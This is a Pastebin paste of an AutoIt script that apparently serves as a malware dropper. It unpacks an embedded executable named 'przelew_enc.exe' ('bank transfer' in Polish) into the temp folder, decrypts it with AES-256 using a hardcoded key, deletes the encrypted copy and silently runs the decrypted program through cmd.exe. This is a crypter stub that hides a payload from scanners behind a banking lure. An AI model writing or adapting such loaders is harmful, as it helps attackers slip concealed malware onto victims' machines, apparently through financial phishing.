daily pastebin goal
1%
SHARE
TWEET

Untitled

a guest Sep 30th, 2015 248 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Local $readfilename = "przelew_enc.exe"
  2. Local $nazwakatalogu = @ScriptDir
  3. Local $nazwapliku = StringReplace($readfilename, "_enc", "")
  4. FileCopy($nazwakatalogu & "\" & $nazwapliku, @TempDir, $fc_overwrite + $fc_createpath)
  5. If FileExists(@TempDir & "\" & $readfilename) Then
  6. Else
  7.         FileInstall("C:\Program Files\AutoHotkey\Compiler\przelew_enc.exe", @TempDir & "\" & $readfilename, 1)
  8. EndIf
  9. Local $newfilename = StringReplace($readfilename, "_enc", "_dec")
  10. $firstdot = StringInStr($readfilename, ".", 0, -1)
  11. $fileextension = StringTrimLeft($readfilename, $firstdot - 1)
  12. $passkey = "takczopur"
  13. If _crypt_decryptfile(@TempDir & "\" & $readfilename, @TempDir & "\" & $newfilename, $passkey, $calg_aes_256) Then
  14.         FileDelete(@TempDir & "\" & $readfilename)
  15. Else
  16.         FileDelete(@TempDir & "\" & $newfilename)
  17.         MsgBox("", "", "invalid password")
  18.         Exit
  19. EndIf
  20.  ShellExecuteWait("cmd.exe", " /c cd " & @TempDir & " & " & $newfilename, "")
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top